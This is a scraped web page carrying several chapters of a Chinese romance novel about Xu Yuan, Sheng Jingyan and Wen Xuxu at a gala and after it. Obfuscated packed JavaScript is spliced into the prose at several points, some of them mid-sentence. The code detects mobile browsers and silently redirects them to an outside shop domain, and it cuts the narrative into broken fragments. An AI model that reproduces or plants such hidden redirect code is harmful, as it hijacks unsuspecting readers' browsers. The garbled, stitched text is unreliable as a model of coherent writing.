l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618120|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我们是夫妻关系,怕什么闲话?” 听到有人的惊呼声,是温栩栩的声音,是很娇媚的哼声,和温栩栩平日里在她面前时软萌的声音有极大的反差。 许愿听到低低的谈话声越来越近,她匆匆的回头,发现温栩栩和黎云笙正朝这里走过来。 远远便看到温栩栩身上是一套宝蓝色的礼服,衬得她整个人明艳妩媚,娇艳不可方物。 仿佛完全不是许愿记忆中的好友。 许愿甚至觉得有些陌生。 许愿内心一惊,这种时候可不是什么碰面的好时候。 还没找到盛景炎躲在哪里,许愿慌乱之下,就往一边退,去墙壁一侧那处隐蔽的位置躲起来。 可刚刚挤过去,一下子撞到了一堵坚实的胸膛。 许愿惊讶的抬头,正对上盛景炎在阴影中带着几分戏谑笑意的脸。 “你 ……” 找了半天狗男人就躲在这里,也不知道盯着她看多久了。 话未出口,人已经被盛景炎抱住。 他的双臂铁一样牢靠的圈着她的腰,腰间还能感觉到他的手掌穿透了长裙薄薄的布料,传递到她肌肤上的烫意,灼着她的肌肤,让她心慌意乱。 下一秒,她已经被他抱着转了个圈,后背就贴上了冰冷的墙壁,人被他困在墙壁和他的胸膛间。 他紧密的贴着她。 两人的身前紧密的贴合着,一丝缝隙都不露。 被他这么挤压着,许愿却是退不得。 外面就是温栩栩和黎云笙,她现在要是出去,与他们对上,再加上一个不安排理出牌的盛景炎,要是心血来潮的也站了出去,那种奇怪的感觉她想都不敢想了。 许愿气息紊乱,头往后靠,后脑都贴上了墙。 可他还是不断的压过来,直到他的胸膛压上了她的脸。 这么一碰之下,她便在他的白衬衣上留下了一抹唇印,看上去实在暧昧。 许愿伸出手在男人腰上掐了下算是报复。 她不知道盛景炎在这里到底站了多久,只能肯定她来的时候他就已经在了,却一直不吭声,耍弄人似的。 第167章 要不要尝尝味道 “别闹。”盛景炎低头在她耳边呢喃,“我刚才只是想拍几张你的照片。” 许愿伸出手,盛景炎从善如流的将手机递过去。 照片中的许愿孤独又寂寞,侧脸明媚却又带着几分淡淡的忧伤。 “这是谁家的大美人啊,没人说话就是我的了。” 盛景炎声音放得很低的笑她:“不过大美人再笑笑就更好了,不知道大美人能不能赏脸给我张带笑的照片,我拿来做手机屏保?” 许愿挑眉看他,将手机拿近,打开手机摄像头,整个人倚靠在盛景炎怀中,照片已经生成,是两人的合照,带着点轻微的暧昧。 拍到了远处细微的暖黄灯光,也格外突出两人精致的面容,靠得这样近,十分相配。 她要照片做手机屏保,她还真就依着盛景炎。 她对爱人其实一直都是如此宠溺的。 盛景炎心里都是暖暖的,忍不住将人整个的拢进怀中,轻嗅着她身上淡淡甜甜的香味儿。 阵阵灼热的气息洒在她的颈项间。 许愿心跳得又快又乱,清楚地感觉到他的靠近,却并未移开。 紧接着,就感觉到温热的唇落在她的鬓角,唇瓣在她的鬓间轻轻的吻着,呼吸也跟着洒在了她的耳上。 仿佛空气都跟着粘稠了几分。 许愿试探性的推着他,盛景炎喉间溢出明显轻微的笑意来。 “嘘……” 他的唇来到她的耳廓,双唇贴着她的耳廓,将声音与气息都轻轻地吐进她的耳朵里。 “别说话,当心被他们听到。” “温栩栩和黎云笙可都在外面呢。” 许愿果然真的不敢出声,这种时候互相撞到过于尴尬了,只能任由盛景炎的唇在她的脸颊和耳垂上徘徊。 眼看着他唇所过之处都变得越来越红,越来越烫,她的脸颊被烫意烘出的馨香也越来越浓郁。 温栩栩全然不知暗处有人,此刻被黎云笙死死握着手臂。 晚宴阳台的门已经被黎云笙命令人锁住了,她也不担心被人看到。 温栩栩突然笑了,眼睛弯弯的,像月牙。 她是真的好看,勾唇轻笑或者面无表情时总给人一种气场很强的感觉。 她是浓颜系长相,妆容精致那张脸也愈发妩媚动人。 他当然见过她卸妆时的模样,清透漂亮。 她是真的很美,皮相美骨相美,全身上下哪里都是漂亮的,此刻这样笑着,一张脸白嫩嫩的,他能想象到捏上去的柔嫩触感,像是嫩豆腐一样。 黎云笙顿了顿,伸手捏住她的脸,故意不快道:“温栩栩,你又在勾引我。” 他心里清楚这是温栩栩的拿手伎俩,每一次温栩栩招惹了他或者让他生气后,就会露出这样的笑,不是使坏就是撩拨。 她唔了一声,被他捏了脸还不老实,只是眨着那双桃花眼故意酝酿出朦胧泪光望着他,等他放手那一瞬泪水马上收回去,还笑眯眯取出手机,在自己手机屏上哈了一口气,迅速在他眼皮子底下画了一颗小心心。 只可惜,很快雾气消散了。 她仍然笑着,手放在胸口冲他比了个心。 看吧,果然是在想方设法的撩拨他。 他实在太清楚温栩栩那些小心思。 刚巧,他也确实最吃这一套。 他们离得很近,他能清楚的看到温栩栩带着笑的眼睛里是自己的影子,好像她眼中一直装着他,她就这样一片深情的望着他。 但黎云笙知道,在这看似深情的背后,是无尽的薄情。 黎云笙喉结微动,露天的阳台也安置了吹着冷风的空调,似是特地为客人们安置的。 此刻空调冷风像是故意带着她身上干净诱人的甜香,像是新鲜采摘的水蜜桃的气息…… “我才吃过糖果,要不要尝尝味道。” 每个表情每个动作都像是算计好的,就等他入坑。 她凑近,突然在面前放大的一张精致面容,让男人一时有些恍惚。 温栩栩却弯着眼睛凑到他面前,捧住黎云笙的脸。 黎云笙敛眉,率先向后移。 温栩栩委屈的撇撇嘴继续往前凑:“要亲亲 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她倒是一如既往爱占便宜,只是不知道这话几分真几分假。 黎云笙眸光微暗,她捏着她的下巴,唇角勾起一抹薄凉的笑:“你不像是这么单纯的人,你也该知道有人被骗去拍过三级片,这么轻易就相信了那个导演……该说你天真,还是愚蠢?” “更何况,什么了不起的资源是我都给不起的?” 温栩栩鼻尖抵着他的:“我自己得到的,和你给我的不一样。” 她明明语气暧昧,说出来的话却带着攻击性。 不等男人皱眉,她便又笑起来:“这种时候,你确定要提起这些煞风景的话?” “如果你不做煞风景的事,我也不必提。”黎云笙嗤笑。 温栩栩摇晃着他的手,把玩着男人的衣服扣子,凑近跟他咬耳朵在他耳边暧昧呢喃。 “这种时候,你确定不要做点其他的事?夜晚、阳台、温热的风……你不想吗?” 第168章 他危险、自私、凉薄 温栩栩的确是会转移注意力的。 明明说的是极尽撩拨的话,但稍稍离开点距离,却又很乖的模样,好像个孩子一样,眼也不眨的望着他,好像那双本该盛满星星的眼眸里,装着的仅有他而已。 黎云笙顿了下,正要说些什么,手机突然响起来,来电备注是“苏羽馨”。 苏羽馨,当红流量女星,当初温栩栩就是因为长相有几分像苏羽馨,才被黎云笙留在身边。 苏羽馨……黎云笙的青梅竹马白月光。 温栩栩眸光深了几分,她仍然含笑,似乎是等着黎云笙接听电话,男人毫不意外的接通了电话。 温栩栩就站在一旁,看着黎云笙当着她的面温柔安慰别的女人。 她毫不在意,可只有那双深邃的眸子带着凉意。 男人挂断手机的瞬间,朝她瞥过去,温栩栩却装出一副委屈巴巴的模样。 他英挺的眉头轻蹙,那双黑眸已没有半点温情,只如鹰隼般锋利凛然的睨向温栩栩。 他双唇抿成一条线开口:“你去见了羽馨。” 温栩栩面上表情都没有任何变化,仍然含笑。 “我不能去见她吗?” “我陪在你身边这样久,模仿了那位五年,难道还不配见一见本尊吗。” 她纤细的手指划过男人胸口:“放心,我没有告诉她你结婚了,在她眼里,你依旧单身。” 所以,从最一开始温栩栩就没想过跟黎云笙结婚。 黎云笙这个男人,危险,自私,凉薄。 他心里有着爱人,却又要将她困在身边,他留她在身边没有其他原因,仅仅是因为他得不到苏羽馨,而她相貌有几分像她,所以就要将她锁在身边。 残忍却又无情。 若非是黎云笙提到许愿,温栩栩只会躲得越远越好,绝不会凑近男人,承受他那些复杂汹涌却没有几分真情实意的感情。 温栩栩这种时候却还在笑着。 黎云笙意味不明的盯紧她满是笑颜的小脸,眸光愈发幽沉、暗藏锋芒。 “你在和她比?”黎云笙捏住她的下巴,稍稍用力,“温栩栩,你配吗?” 配吗? 在温栩栩眼里,这世界上除了许愿,没人不可以被她踩在脚底下。 更何况,她本就不爱黎云笙,跟苏羽馨更犯不上做比较。 只不过,苏羽馨的出身确实优秀。 苏羽馨贵族出身,自小养在苏家,气质与旁人不同。 她不像有些顶流明星那样用气场压人,谈话间都让人觉得很平易近人的友好,看到的人都会发自内心赞叹不愧是名门出身的小公主,跟温栩栩这样的野路子,形成了鲜明对比。 温栩栩低垂下头,唇角微勾。 她迟迟不作答,黎云笙幽暗深邃的黑眸中闪过一丝戾气,他目光陡然变得阴鸷吓人:“温栩栩,你的答案呢。” 温栩栩抬起头一脸无辜:“我是谁?我为什么要跟苏老师比呢,我不是苏老师的影子吗?” 她扬起那张脸,做出无辜单纯的表情,其实内里的冷意几乎都要渗出来。 黎云笙眼睛眯起来,散发出凛冽的冷茫。 他倾身扯住她的头发,将人拽到自己身旁,声音危险又带着威胁:“温栩栩,收起你那些小聪明。” 温栩栩就是故意提起这些来刺激他。 他当然知道温栩栩不是个省油的灯,她聪明,狡猾,却又睚眦必报。 谁让她不痛快,她就要伸出爪牙,把那人撕碎。 他知道这些,可他不去管。 温栩栩在外攻击性如何强他管不着,只要不受欺负,他就当什么都不知道,毕竟放出去的这个小玩意儿的脖子上,套着的是他亲手挂上的绳索项圈。 但她可以在外造次,却不能在他面前装出无害的模样,来戳他的心。 说到底,都是他把人宠坏了。 温栩栩被他大力的动作扯痛的头皮,可她不呼痛,脸上仍挂着笑,只笑中多了冷意。 男人那双黑眸中不带半分柔意,毫不掩饰的蔑视瞳眸中藏匿着冷冽的凶狠。 他早看透了温栩栩那小手段。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温栩栩手拨弄男人的衬衫扣子挑逗:“哥哥,我什么都能学,什么都能模仿,要来验收一下我的成果吗?” 黎云笙眸光陡然一冷,温栩栩已经咬在男人脖颈边,留了印子。 第169章 底线 阳台的门早就被黎云笙命人锁住了,他眸光愈发冰冷,将人压制在木质的长椅上。 被男人毫不留情的摁在长椅上,她还喘息的笑着,一会儿是勾人的妖精模样,一会儿又变成那不属于她的苏羽馨姿态,引得男人的内心涌起被玩弄的怒火。 她却讨好的在男人耳边呢喃:“哥哥不觉得这样更刺激吗?” 被堵住唇舌时,温栩栩抱住身上的人。 她看着很软,可是那带着雾气红红的眼睛里却都是冷意。 …… 温栩栩就是这么狠的人,你让我不痛快,既然我现在还没办法真的报复你,那我们就一起,谁都别想痛快。 她就喜欢看男人在面对她露出苏羽馨那姿态时,停下动作矛盾生硬的逼她变回去,她就软着声音哄着哼几声,将人哄舒坦了再来那么几次,就让他想发泄,却无法发泄。 不知过了多久,这场矛盾的情爱才停下来。 最后,她全身瘫软的被男人从另一道门带离。 回到黎云笙的别墅,待黎云笙熟睡后,温栩栩却没有睡在男人怀中。 她睁着眼睛,那双眼中的泪意水雾还未完全消下去,然而此刻却很锐利的打量面前俊美的男人,她轻轻抚摸着黎云笙的侧脸。 温栩栩低声道:“我的好哥哥。” 她勾唇:“你可千万不要做出什么背叛我的事,否则,我会拉苏羽馨和你一起下地狱。” 她说的背叛,是指情事上的背叛。 她可以不爱黎云笙,但却绝对不允许自己遭遇这种背叛。 她是指婚后的背叛。 婚前她是个小玩意儿没错,但现在他们已经结婚,黎云笙和苏羽馨就别想在她眼皮子底下勾在一起。 温栩栩没有看不清自己的身份,但他们当初说好的,结婚身体忠于彼此,他们不管对方心里装了谁,可别想用脏了的身体睡她的床。 不出轨不找情人,这是底线。 …… 另一头,一直被困在角落的许愿整个人脸都有点发白。 她一直听到温栩栩的声音和那些……凌乱暧昧到仿佛让空气都变得粘稠的声音。 甚至传来温栩栩微乱呼吸和急促的轻吟。 许愿整个人都愣在了原地。 她是真没想到温栩栩在外是这样的 在她心里,温栩栩还是那个天真烂漫的小女孩,可今晚的温栩栩让她陌生得几乎不敢认。 盛景炎看着她怔愣的脸,突然低下头,对准她的唇就吻了下去。 他其实也是有点在意的,许愿和温栩栩关系太好了些,他不高兴。 她的后脑被他用力的挤在墙上,唇被他的唇用力的贴着。 许愿惊讶的要推他,却推不动,被他搂得死死地。 霸道又浓烈的吻,让她反抗的力气越来越小。 不知不觉的,她也懒得反抗,却也没怎么给回应,许是温栩栩和黎云笙之间的事给她的冲击太大了。 渐渐地,他沿着她的唇角吻到耳垂,一路轻啜的来到颈窝,锁骨。 许愿推他:“盛景炎!” “嘘,别让人听见了。”盛景炎动也不动,嘴巴磨蹭着她的肌肤轻语。 许愿语塞,这种情况确实是不能让温栩栩和黎云笙听到,不然也太尴尬了些。 许愿咬着唇,可忽然,她觉得不对,外面早没了声音。 温栩栩和黎云笙不知道什么时候已经离开了。 许愿气得放开了声音:“盛景炎,外面哪还有人!” 盛景炎终于抬头,也直起了身子,又低头紧贴着她的唇,双手将她搂抱进怀中:“抱歉,吻得太专注,忘记关注他们了。” 说到这里,盛景炎低头看向自己怀中的人。 她现在浑身发软,娇艳的五官都透着媚意,似乎还带着几分羞恼,而她这样的转变都是因为他。 他隐隐的还有那么几分小得意了。 她这样子,看得盛景炎心头热得不行,低头又要吻她,却被一个声音打断:“咦?盛二少也在?” 盛景炎动作极快的挡住许愿,压着她的后脑,把她的脸埋进自己的怀里。 许愿不知道什么时候被他弄散的长发垂顺的披着,也遮住了她的脸颊,让对方一点儿都看不到她的脸。 盛景炎转头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618123|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,对方是今晚参加宴会的一家地产公司的小开,怀里正拥着一名女伴。 看来也是打着主意,跑阳台来约会的,只是因为之前阳台被黎云笙命人锁住了,这才没能进来。 盛景炎抿唇不语,目光带着被打扰的生冷不悦。 对方立即聪明的出声,客客气气的说:“既然盛二少在这里,那我们就不打扰了。” 说完,他立即带着女伴离开,也不敢多看一眼盛景炎护在怀里的许愿。 对方也不是傻子,当然知道今晚除了黎云笙,许愿也来参加了这场晚宴。 后半段全程没看到许愿,他本还打算找许愿交流呢,以为许愿早就离开了,哪曾想会被盛景炎带到这里。 不过对方也不敢提更多,拥着女伴飞速离开。 盛景炎无奈的吐出一口气,这里也确实不是跟许愿亲近的好地 方,便将许愿松开,轻轻地搂着她,不让她瘫倒。 许愿被他亲吻得还有些恍惚,此刻才终于冷静下来。 入目的却是男人身上变得皱巴巴的西装,还有唇上的唇膏颜色,以及他白色衬衣上的唇印。 而自己呢,即使没有镜子,她也知道自己现在比他还见不得人。 头发散乱下来,嘴上唇膏没了,脸红得要命。 这种情况下,他们俩都不适合从阳台走出去。 哪怕是一前一后的分头走,也会被有心人注意到,联系到两人的模样,他们在这里发生了什么,便很容易想了。 “我们这样……没法进去……”许愿脸上还带着些许绯红。 “想不想离开?”盛景炎问,目光灼灼的看着她。 正迟疑的时候,盛景炎已经跃出了阳台,站在了外面的草地上。 这个宴会厅在一楼,要翻墙倒也容易。 盛景炎站在栏杆外,抬头看她,向她伸出了指节分明的手:“走不走?” 这是根本没有给她选择的机会。 他此刻脸上带着笑意,看她的双眼目光柔和中却又带着几分戏谑,让他看起来轻慢不羁,突然多出了些叛逆的感觉。 好像这样的盛景炎更真实鲜活。 第170章 在我心里你最漂亮 “阿愿,我可还等着呢。” 盛景炎挑眉看她,嘴角微微的勾了勾,再次朝她伸出手。 她低头看着他干爽的手掌,指节分明的细长手指。 她慢慢的将手交到他的手上,便被他拽到了栏杆边。 然后他松开手,双手握住了她的腰,将她整个人提了起来。 许愿的双腿也跟着配合的弯曲,终于越过栏杆。 她的身子不受控制的向前扑,在落地时,便不由自主的撞进了他的怀里。 盛景炎站得稳稳地,不曾后退半步,牢牢地接住许愿。 许愿双手压在他的肩上,稳住自己的身子。 刚才脸轻磕到他的胸膛上,他清洌的香味袭来,她发烫的脑袋有些晕眩。 原本扶在她腰两侧的热烫大手带着灼人的烫意,突然向后移到她的后背,直接贴上了她裸露在外的肌肤。 许愿跟着一颤,被他掌心的烫意灼到。 紧跟着,也不给她反应的机会,盛景炎突然将她紧紧地抱住,双臂牢牢地圈着她的身子,脸颊贴在他的衬衣上,耳朵压在他衬衣的纽扣上。 因为被他压得紧,她的耳朵被纽扣硌得有些疼。 他抱得太紧了,紧得她发慌。 一股强烈到吓人的占有欲无言的从他抱着她的力道上传递过来,她感觉到他的唇落在她的发上,贴着她的发,向下吻着嗅着。 他湿热的唇还贴着她的发,吻着她的耳廓,耳垂,到颈侧。 听到他的吸气声,他在嗅着她颈间的香味,吸气吐气间的丝丝呼吸挠着她的痒,肌肤通红了一片。 许愿头埋在他的怀里,然后伸出手掐住他的腰,他身材好,身上都是肌肉,哪有软肉让她掐。 “你别闹了。” 他轻轻叹气,轻叹出的气息都洒在了她的脸颊上。 他的唇贴着她的脸颊,随着说话间的双唇开合,而磨蹭着她的肌肤:“先离开这儿。” 话音落,许愿的双脚突然离地,整个人像飞起来了似的。 轻轻地惊呼出声,人已经被他打横抱起。 “我自己能走,你先放我下来。”许愿真觉得盛景炎此刻像极了无赖。 “这么大声,想让人看见我们偷溜吗。”盛景炎低头,微微的挑眉。 “快走。”许愿立即压低了声音,“你先放我下来,让人看见不好。” “有什么不好,我们之间是情侣关系,就算当场做亲密的事,他们也只会夸我们恩爱。” 许愿瞪他一眼,盛景炎却笑了一声,手突然一松。 许愿忽地往下跌,就要准备屁股着地了。 她惊呼一声吓了一跳,原本空着的双手立即死死地圈住他的脖子,整个人都紧贴进了他的怀里。 “抱紧了。” 头顶传来盛景炎稳重低醇的声音,好像他的双唇就紧贴着她的头顶发出。 低醇的嗓音变成了细小的电流在她的头皮上爬,进而窜遍了她的全身,浑身都在发麻。 狗男人,许愿控制不住在心里暗暗骂他。 她骂完,抬起头看向面前男人,看到他带着笑意的侧脸,眼尾弯弯的,带着几分张狂和不羁。 许愿觉得盛景炎的性格其实是很矛盾的。 她有时觉得盛景炎是个浪子,但却有温雅绅士的一面。 有时觉得他过于体贴,结果下一秒又会逗着她玩,但是这样的盛景炎是很真实的。 她能感觉得到盛景炎在向她展露真正的自己,他希望她走进来。 走进她心里。 许愿抬头,看着盛景炎清隽的侧脸,夜晚的酒店依然灯火通明,但再通明也不比白天,仍带着夜晚的昏暗。 在灯光下,他脸上的棱角被阴影衬托得好像更加分明。 灯光与阴影交织在他脸上,让他的双眼也更深邃。 从她这个角度看,他现在就像是一幅大师画的画,且用上了最好的光影效果。 许愿看得有些愣,盛景炎却轻笑一声:“我以前觉得生个好皮囊可能没有多少用,不过看你这样的眼神,你好像挺喜欢的?” 说罢突然低下头,边走着,边吻上她的唇。 许愿承受着,双手不知不觉的,就抓紧了他脑后的发。 明明想着该把他拉开,却偏偏压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618124|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他的后脑,让他吻得更深。 半晌,他才松开,两人都气喘得厉害。 他的脸仍靠的她近,两人的气息都交织在了一起。 “盛景炎,难道不是你更喜欢看我的脸吗,难道我不够漂亮吗。” 她低喘着开口。 盛景炎低笑:“在我心里,你最漂亮。” 他是真的这样觉得。 身材,容貌,实力,学历,智商,情商……所有的所有加在一起,才有了一个如此优秀的许愿。 在他心里她就是特殊的,他就是优秀且漂亮的。 他甚至觉得许愿能够选择他是他的荣幸。 盛景炎把车开到许愿的公寓楼下,车内他的存在感那么强烈,属于他的气息还是那么浓烈。 好不容易熬过了这一路,许愿忙不迭的去解安全带。 忽然,她感觉到他的 靠近,头顶罩上了浓浓的阴影。 他的气息洒在她的头顶,他的呼吸洒在她的额头,他的手伸过来,碰触到她的手。 只听到“啪嗒”一声,盛景炎将她的安全带解开。 许愿坐在原位置上很久,她握紧方向盘,久久未开口,盛景炎也没有催她,他似乎也感觉到了许愿的心情有些沉重。 “这些天,我其实思考了很多事。” 许愿垂下眼睫,她目光望向窗外。 “其实我一直都很有自信,我一直觉得我是很优秀,我配得上这世界上最优秀的人。” 盛景炎点了下头:“确实是如此。” 他就是这样想的,所以许愿选择她,他才会觉得是自己的荣幸。 “所以那时我追求他爱慕他,我一直都知道一旦喜欢一个人可能就会丢掉自我,丢掉自尊……” “我经历过那样一段糟糕的婚姻,我想开始一段新的生活,但是……他永远都会提醒我,我和傅京礼那段曾经。” 许愿的手缓缓放到自己小腹。 “我怀着他的孩子,和你开始一段感情……” 她笑容带着点苦涩。 “我以为我不会在意这些,可是我现在会在意。” 第171章 阿愿,我们不能分开 许愿没有看盛景炎,她闭上眼眸,声音很轻很轻。 “盛景炎,你真的要跟我在一起吗?” “你确定吗,未来不会后悔吗?” “你该知道,这个孩子是傅京礼的,他长大后会越来越像傅京礼,你看到他那张脸,不会想到我那糟糕的三年吗?” “盛景炎……你要不要再考虑清楚。” 盛景炎一直都未开口,许愿也没有睁开眼睛。 车厢内一时陷入沉寂。 忽然感受到自己的头被轻轻抚摸着,整个人被男人环抱着,他很轻微的叹息了一声,在她耳边开口:“阿愿,睁开眼睛,看看我。” 许愿眼睫跟着颤了颤,到底还是睁开眼了。 对上男人那双凝重的黑眸。 “阿愿,我可不可以从你这段话理解成,你已经开始在乎我。” “如果不在乎,你为什么会为我考虑这样多。” 盛景炎的唇擦过她的耳垂。 “我很高兴你能说这些,但是阿愿,你为什么不能对我多一些的信任呢?我选择你,是因为我想选择你。” “那三年不会让我觉得你糟糕,我只会骂自己为什么没有在三年前出现在你身边。” “你和傅京礼之间经历的一切已经过去了,你这样好,本就配得上所有人,而我能被你选择,是我这辈子最大的幸运。” “所以,不要为此难过。” “你难过,我也会难过。” 盛景炎头靠在她的肩上蹭了蹭,像是带着几分讨好。 许愿眼睫仍然在颤动,盛景炎望着她开口。 “阿愿,在我这里,你就是最好的。” “我知道你担心什么,如果你真的害怕,我可以去做手术,我未来都可以没有孩子,盛家也不需要盛家的人传宗接代,又不是封建社会……” “我可以把他当成我的孩子,他就是盛家未来的继承人。” “我会将我们幼年时期没能得到的父爱母爱,全都给他。” “不论孩子是男是女,他都会得到我所有资产。” “这是我对你和她的承诺,如果你不相信我,我可以现在就留下一份公证书或者遗嘱。” “阿愿,承诺只是承诺,但这些利益和资产不会骗人,我可以把一切全都拿出来,这是我给你的所有保障。” “你信我吗?” 盛景炎专注的盯着她,声音低低沉沉的,在这夜里变得更悦耳诱惑。 他看着许愿半低的脸,整张脸是红的,长长的睫毛轻掩的双瞳像是盈着水,自带着股勾人的劲儿却不自知。 尖尖下巴上的唇瓣,到现在都还肿着,充着嫩红的血色。 许愿根本不知道盛景炎此刻的眼神有多真诚热切,她只觉得自己喉头有些发堵。 “我看你是真的疯了。” 哪有人疯到现在就留下遗嘱要公证的! “你不明白吗?他毕竟是傅京礼的孩子。” “他不是傅京礼的孩子,他不配。”盛景炎的声音骤冷,许愿即使没抬头,也能感觉到他的目光也在变冷。 “他是我和你的孩子。” 他松开了安全带,将人拢进怀中,动作很轻的拍抚她的后背,像是在安慰。 “阿愿,我们不能分开。” 他这样开口,语气真诚。 “上去吧。” 盛景炎知道许愿身体有些发软,他抱起许愿,将人搂抱在怀。 许愿两条手臂抱住他的脖子,头贴在他颈侧:“盛景炎,我就当你是想清楚了。” 盛景炎脚步都在此刻停住。 他不由失笑。 “我早就想好了。” 到了公寓,她刚要开门,人被盛景炎抓着肩膀扳过来。 他把她推到门上,背抵着门,干燥温热的唇就袭了上来。舌尖刚刚勾到她的唇瓣,她便不由自主的开启了颤抖的双唇。 她这种乖顺仿佛是刺激到了他,吻她的力道陡然变重。 她的后脑被紧紧地压在门上,动弹不得。 过了许久,他才放松了力道,放过她。 可偏偏,她又忍不住的哼了一声,刺激的他又重新加重力道的吻上来。 盛景炎吻得气息不定,额头轻轻地抵着她的额头,垂眼看她眼底的水光,忍不住又低头,印上她脸颊上的红,一下又一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618125|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 可他越吻,她脸上的红意就越浓越大,总也吻不完似的。 “不管你和他过去有过什么,难道我想追,还追不得了?”他的唇贴着她的唇角,呼吸浓重地呢喃。 原本就低沉好听有如醇酒的嗓音,现在又多了分沙哑,更是沧桑成熟的撩拨着她的心弦。 “你好好想想,我这种人,如果真的不在乎不够认真,我何必拿资产做赌注。” 他低语,说话间呼吸洒在她的唇上,洒进她的唇里。 不只是他的气息,还是他的话,让许愿的心乱得一塌糊涂。 是啊,盛景炎的性子和她太过相像了。 若非是真的在意,又怎会许下如此庞大利益做支撑只为了让她相信他的选择? 看她眸光柔和下来,盛景炎忍不住,又吻了下她 柔软的唇。 双唇密密的贴着她的唇,低声呢喃:“许愿,我说了这么多,你好好想想。” “想明白后,再也不要说这种话。”他声音低哑,夹杂着温柔,像是情人的呢喃。 许愿早已在他一席话中乱了心神。 盛景炎放开她时,她还有些怔愣,却见男人已经转身欲要离开,她顿住。 “你要去哪里?” 盛景炎轻笑:“放心,等你真的想清楚了,我就会回来。” 其实这种时候,盛景炎该乘胜追击的,但他觉得自己步步紧逼,反倒不如让许愿自己想清楚。 这次许愿肯开口提及这些,就说明许愿已经开始在乎他,就是在乎,才会认为他这样好像受了委屈。 可他不觉得自己受了委屈。 对此,他甘之如饴。 许愿今晚提到的那些,他也不会为此生气,因为这是许愿在向他敞开心扉。 迟早有一天,他们会成为真正的恋人。 盛景炎离开了。 公寓一时变得冷清。 许愿坐在沙发上,她垂下眼眸,只觉得头还有些晕晕乎乎的。 她抬手捏了捏眉心,心头重重的叹了口气。 她和盛景炎之间的关系,确实是需要考虑清楚的,毕竟……是一辈子的事。 第172章 孩子是谁的 手机突然“叮”的响了声,微博推送的特别关注发了信息。 【盛景炎】:她在乎我。 有人看到直接评论嚷嚷“不是吧老大?你就这么爱护小动物的吗!大半夜的还要上线,来爱护下单身狗的吗!” 下面评论区不少人吐槽他深夜不睡觉来秀恩爱的。 只有许愿明白,他不仅是秀恩爱,更是在得意。 因为这次,是她主动向盛景炎敞开心扉。 许愿眼底都带上了几许柔柔的笑,她什么都没回也没有评论,只是点了个赞,就已经表明了她此刻的态度。 是的,她在乎盛景炎。 但盛景炎没有再回应。 她猜盛景炎又在跟她耍心眼了,许愿很轻很轻的叹了口气。 他就是在逼她说出那句话。 “是的,我在乎你。” 狗男人,这时候还在算计。 许愿没再看微博,江惊蛰这个时间许是才从宴会上回去,给她发了条信息。 【江惊蛰】:你和盛景炎就这么溜了? 【江惊蛰】:马上就是金融峰会,盛世也就你这位总经理露头,盛景炎躲哪里去了。 他是真好奇。 这话许愿没办法回应,她总不能说,她跟盛景炎躲在阳台亲热吧。 许愿装死,索性江惊蛰也没想着许愿真的会回复她。 【江惊蛰】:明天来趟云尚,给你做次身体检查。 许愿这才终于回了个“好”。 …… 翌日。 “这是你最近身体情况的检查资料,身体恢复得很好,再养一段时间能恢复到最佳状态,我给你换一副药,药绝对不能中途停下。” 江惊蛰将检查报告递给许愿,又开了一周的中药。 知道许愿不喜欢苦味儿,这份药并不算苦,还带着点清甜味儿,算是为她改良了配方,添加了好几种替代的草药。 “谢谢。” 许愿合上自己的报告单。 江惊蛰见她面色自然姿态轻松,也猜到她最近过得不错。 离开傅京礼她的气色肉眼可见的变好了。 以往在傅氏她为了傅氏的合同整日熬夜调查,离开傅京礼后……盛景炎却是不舍得她熬夜的。 这样也挺好的。 江惊蛰微微敛眉,唇角仍挂着明显的笑意。 对于许愿,他是欣赏的,欣赏中带着点好感,只是这种好感到底还是因为很多原因,让他止步在此,只当朋友挺好的。 江惊蛰目送许愿离开。 最近因为金融峰会的事,盛景炎一直都很忙,再加上昨晚的事,许愿便没有告诉他要检查的事,独自一人来到云尚检查身体。 中途接到工作上的电话,是陆斯年打来的电话。 这次盛华也是要参与各类合作竞标的,许愿将报告单放到长廊上的休息长椅上。 她在医院实在是过于惹眼,五官明艳身姿消瘦曼妙,只侧脸都是那种令人惊艳的美,一眼看去就移不开眼。 